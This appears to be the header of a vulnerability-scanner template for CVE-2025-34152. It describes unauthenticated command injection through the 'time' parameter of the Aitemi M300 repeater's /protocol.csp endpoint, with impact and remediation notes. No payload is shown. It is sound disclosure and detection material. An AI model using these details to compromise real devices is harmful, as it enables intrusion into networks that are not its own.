Shenzhen Aitemi M300 Wi-Fi Repeater – Unauthenticated Remote Command Execution via `time` Parameter

id: CVE-2025-34152

info:
  name: Shenzhen Aitemi M300 Wi-Fi Repeater – Unauthenticated Remote Command Execution via `time` Parameter
  author: Chocapikk,DhiyaneshDk
  severity: critical
  description: |
    An unauthenticated OS command injection vulnerability exists in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02) via the 'time' parameter of the '/protocol.csp?' endpoint. The input is processed by the internal date '-s' command without rebooting or disrupting HTTP service. Unlike other injection points, this vector allows remote compromise without triggering visible configuration changes.
  impact: |
    Unauthenticated attackers can execute arbitrary operating system commands through the time parameter in the protocol.csp endpoint without disrupting device operation.
  remediation: |
    Update Shenzhen Aitemi M300 Wi-Fi Repeater firmware to the latest version that properly sanitizes the time parameter.
